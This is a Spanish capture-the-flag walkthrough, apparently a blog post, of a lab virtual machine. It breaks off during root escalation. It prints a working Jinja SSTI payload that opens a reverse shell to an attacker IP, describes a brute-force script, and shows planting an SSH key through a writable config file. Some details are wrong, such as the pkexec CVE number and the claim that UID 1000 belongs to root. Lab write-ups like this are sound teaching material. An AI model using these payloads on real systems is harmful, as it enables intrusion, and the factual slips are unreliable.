Descripción: La máquina es compatible con VirtualBox y VMWare. El DHCP asignará una IP automáticamente. Verá la IP directamente en la pantalla de inicio de sesión. Debe leer el indicador raíz.
Como se muestra en la siguiente imagen la dirección IP de la máquina es: 192.168.50.218.
Otra forma de identificar nuestra máquina objetivo sería utilizando la herramienta NetDiscover.
![]() |
| Pantalla de inicio máquina objetivo. |
Luego de reconocer nuestra máquina objetivo utilizaremos la herramienta Nmap para enumerar los servicios en ejecución.
![]() |
| Escaneo nmap enumeración de versión de servicios. |
Los puertos abiertos en la máquina son:
- Puerto 22 SSH. versión OpenSSH 7.6p1
- Puerto 80 HTTP versión Lighttpd 1.4.45
- Puerto 5000 HTTP werkzeug httpd 1.0.1 (Python 3.6.9)
- Puerto 31337 Elite.
De momento con el servicio SSH no podemos hacer mucho, ya que no contamos con credenciales de usuarios.
Por otro lado, en el puerto 80 HTTP se muestra lo siguiente.
En el puerto 5000 se esta ejecutando werkezeug que es una colección de bibliotecas para crear aplicaciones web basado en lenguaje Python. Al cargar la página web en mi navegador se muestra lo siguiente.
Se muestra un sistema de ticket en desarrollo, también podemos concluir que la página web está programada en Python quizás con el framework Flask, Bottle, Django. Por lo tanto, la página puede ser vulnerable a SSTI (Server Site Template Injection).
Por ultimo tenemos el puerto 31337 que al cargar en el navegador web muestra lo siguiente.
Llamo mi atención este servicios, por lo tanto, analizaré este puerto con la herramienta telnet.
Como se muestra en la imagen anterior el servicio requiere de autenticación por lo que podemos realizar un ataque de contraseña mediante la técnica de fuerza bruta. Ahora como no tenemos posibles usuarios o contraseñas para probar, utilizaré de secList el archivo 2023-200_most_used_passwords.txt. A sumiré que tanto el username y password es la misma con este también incluyo las contraseñas por defecto.
Ahora para automatizar este proceso crearé un script en Python para probar cada de las password del archivo 2023-200_most_used_passwords.txt.
![]() |
Al parecer este servicio está enlazado con el servicio web en el puerto 5000. analizaré las opciones que nos da comando help de la aplicación.
Como se muestra en la siguiente imagen con la opción open podemos crear un ticket. Debemos ver si este se muestra en el servicio web ejecutado en el puerto 5000.
En la página web como se muestra en la siguiente imagen se muestra el ticket de prueba creado.
En este punto sabemos que la web se ejecuta con werkezeug y Python, por lo tanto, verificaré si la web es vulnerable a SSTI(Server Site Template Injection) en el caso que se este ejecutando motor de creador de template Jinja.
Jinja para interactuar con código Python utiliza el termino "tags template". Un tag template permite ejecutar estructura de control y expandir variables basados en Python. Su sintaxis es la siguiente {{ variable / estructura de control (IF-FOR-WHILE)}}.
Ahora para verificar que la web es vulnerable a SSTI bastaría con crear un ticket y su descripción ingresar el siguiente tag template {{ 4 + 4}}. Si la web es vulnerable a SSTI esta debería mostrar el resultado de interpretar tag template, en este caso el resultado de sumar 4+4 que seria igual 8.
Una vez el ticket es creado verifiquemos si tag template es procesado por la página web.
La prueba indica que el servidor es vulnerable a SSTI. Ahora intentaremos de ejecutar una reverse shell a partir de esta vulnerabilidad.
Utilizaré la siguiente payload de Github Pyaloadallthethings:
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/192.168.50.231/443 0>&1"').read() }}
Solo queda crear un nuevo ticket y en el campo description agregar el payload. Luego en nuestra maquina atacante con la herramienta Netcat configurar el puerto 443 en escucha para obtener la conexión con la máquina objetivo.
Una vez creado el ticket con el payload, debemos poner en escucha el puerto 443 en nuestra máquina atacante.
Ahora debemos cargar la web ticket en el navegador web y hacer cli en vínculo link. para que el payload sea interpretado por Python y se conecte la máquina objetivo a nuestra máquina atacante.
En nuestra máquina atacante obtenemos una conexión desde la máquina objetivo a nuestra máquina atacante.
Como se muestra en la siguiente imagen somos el usuario www-data y no tiene ningún permiso sudo.
Ahora listaré los usuarios del sistema, debemos cambiarnos al directorio home listar el directorio.
Por el momento no tenemos acceso a ninguno de estos directorio de usuarios. Ahora enumeraré archivos que tengan SUID activo para poder elevar privilegios.
En este punto podría explotar la vulnerabilidad pkexec (cve-2021-4043), pero les adelanto que no funcionará explotar esta vulnerabilidad. Por lo tanto, debemos analizar aún más la máquina.
Utilizaré la herramienta pspy para monitorear los proceso que se están ejecutando en la máquina objetivo.
Descargaré en la máquina objetivo la herramienta pspy directamente, como se muestra en la siguiente imagen.
Luego de descargarlo debemos dar permiso de ejecución el archivo pspy.Ahora solo queda ejecutar pspy.
Se debe dejar un rato en ejecución la herramienta pspy, luego de un tiempo este muestra que el usuario saint ejecuta el archivo syncer.py.
Aquí debemos analizar el código del archivo syncer.py. El script syncer.py parece estar diseñado para sincronizar archivos mediante diferentes protocolos de transferencia (FTP, SSH o mediante una URL). Su ejecución sigue esta secuencia:
1. Importaciones
- Se importan módulos personalizados:
- configuration: Probablemente maneja la lectura de configuraciones.
- connectors.ftpconn: Contiene la funcionalidad de conexión FTP.
- connectors.sshconn: Maneja la conexión por SSH.
- connectors.utils: Podría contener funciones auxiliares para la sincronización.
- Lee la configuración:
- ConfigReader.set_config_path(): Establece la ruta del archivo de configuración.
- ConfigReader.read_config(configPath): Lee la configuración desde el archivo.
- Verifica qué tipo de conexión usar:
- checker(config): Determina qué conexiones están disponibles.
- Establece conexión y sincroniza:
- Si hay configuración para FTP, llama a ftpcon(config["FTP"]).
- Si hay configuración para SSH, llama a sshcon(config["SSH"]).
- Si hay una URL configurada, usa sync(config["URL"], config["Output"]).
El archivo configuration está diseñado para leer archivos de formato JSON. en un sistema Linux.
1. Importaciones
El código importa varios modulos estándar.
- os, sys: Para manipulación del sistema de archivos y salidas.
- json: Para leer archivos de configuración en formato JSON.
- glob: Para buscar archivos en rutas específicas.
- datetime.datetime (renombrado como dt): Para comparar fechas en los nombres de archivos.
La clase ConfigReader tiene dos métodos estáticos.
read_config(path)
- Declara config_values como un diccionario vacío.
- Intenta abrir y leer un archivo JSON.
- Si ocurre un error, imprime un mensaje y finaliza el programa con sys.exit(1).
- En el bloque finally, se elimina la variable "e" tras capturar una excepción, aunque no tiene impacto funcional.
- Si la lectura es exitosa, devuelve config_values.
- Busca archivos JSON en:
- /home/saint/
- /tmp/
- Combina ambas listas de archivos en files.
- Si hay más de dos archivos, intenta limitar la lista de archivos con files = files[None[:2]], lo cual genera un error.
- Extrae y compara fechas de los nombres de archivo para seleccionar el más reciente.
- Si ocurre un error, finaliza el programa con sys.exit(1).
- Devuelve la ruta del archivo seleccionado.
Conclusiones
Propósito del código
- Se encarga de leer una configuración almacenada en un archivo JSON (en /home/saint/ o /tmp/).
- Analiza qué tipo de conexión debe establecerse (FTP, SSH o una URL para sincronización).
- Ejecuta la acción correspondiente basada en la configuración.
-
Flujo general
- Se determina el archivo JSON más reciente.
- Se extraen los datos de configuración.
- Se verifica qué tipo de conexión es requerida.
- Se ejecuta la conexión correspondiente (FTP, SSH o sincronización de URL).
Sabemos que el archivo configuration.py buscar archivos en formato JSON con un formato de nombre específico [Fecha(%d %m %Y).config.json] en los directorios /home/saint/ y /tmp/. Luego este archivo es importado en el archivo syncer.py, este archivo analizar las propiedades del archivo JSON si en el archivo tiene la propiedad (URL, SSH, FTP) sincroniza una conexión. En este punto hay algo interesante, cuando el archivo syncer.py evaluá la proiedad "URL" del archivo JSON, también evalua una segunda propiedad "Output". La propiedad "Output" sugiere que algo se va escribir según su valor.
Realizaré la siguiente prueba crearé un archivo en la máquina objetivo con el siguiente nombre: 12-03-2025.config.json con la siguiente estructura json.
{"URL":"http://192.168.50.231/test","Output":"/tmp"}
Donde la propiedad URL apunta a mi máquina atacante al recurso test, donde test es una archivo regular y la propiedad Output indica que el archivo test debe almacenarse en el directorio /tmp de la máquina objetivo.
Luego de crear el archivo test y levantar un servidor web con Python en la máquina atacante, solo queda crear el archivo JSON en la máquina victima.
Ahora solo queda esperar que se ejecute la petición desde la máquina objetivo.
Como se muestra en la imagen anterior la máquina objetivo solicito nuestro archivo de prueba y se almaceno en el directorio /tmp en la máquina objetivo.
Como se muestra en la imagen anterior, se crea el archivo prueba perteneciente al usuario saint con el contenido de nuestro archivo test. Esto indica una potencial vía para elevar privilegio al usuario saint.
Recordemos que el puerto 22 SSH esta abierto, por lo tanto, crearé un par de claves pública y privada para conectarme al servicio SSH de la máquina objetivo. Para enviar nuestra clave pública utilizaré el mismo procedimiento que utilizamos para enviar nuestro archivo de prueba a través del archivo JSON.
Con la utilidad ssh-keygen creamos las claves estas se guardan en el directorio /home/kali/.ssh. Por último debemos crear el archivo authorized_keys, este archivo es utilizado por Linux para almacenar claves públicas SSH autorizada.
Ahora modificaré el archivo JSON de la máquina objetivo. Con esto la máquina objetivo solicitará nuestro archivo authorized_keys que contiene nuestra clave pública. para almacenarlo en el directorio /home/saint/.ssh/authorized_keys.
Ahora solo queda esperar la solicitud de la máquina objetivo.
Hasta aquí al parecer todo va bien.
Por último, solo nos queda conectar a la máquina objetivo a través de SSH.
En este punto obtuvimos una conexión SSH con usuario saint, ahora veremos que permiso tiene el usuario saint.
En usuario saint tiene permiso para crear usuario, en este punto podráamos crear un usuario con con GID = 0 o UID = 0. Cabe mencionar que, el GID (Group ID) y UID (User ID) son identificadores numéricos que el sistema Linux usa para gestionar los permisos de usuario y grupos del sistema.
En este caso no podemos crear un usuario con el UID(User ID) = 0 este UID está reservado para el usuario root.
Lo que si podemos hacer es crear un usuario que pertenezca al GID(Group ID) = 0 es que es el grupo root.
Si bien es cierto que pertenecemos al grupo root no podemos acceder al directorio /home/root como se muestra en la siguiente imagen.
Ahora analizaré los usuarios con UID mayores a 1000. Recordemos que en sistemas Linux para usuario generales (es decir, que representan personas) se le asigna UID mayor a 1000 y el UID 1000 está reservado para el usuario root.
Compararé estos usuarios con el archivo sudores.

















































Comentarios
Publicar un comentario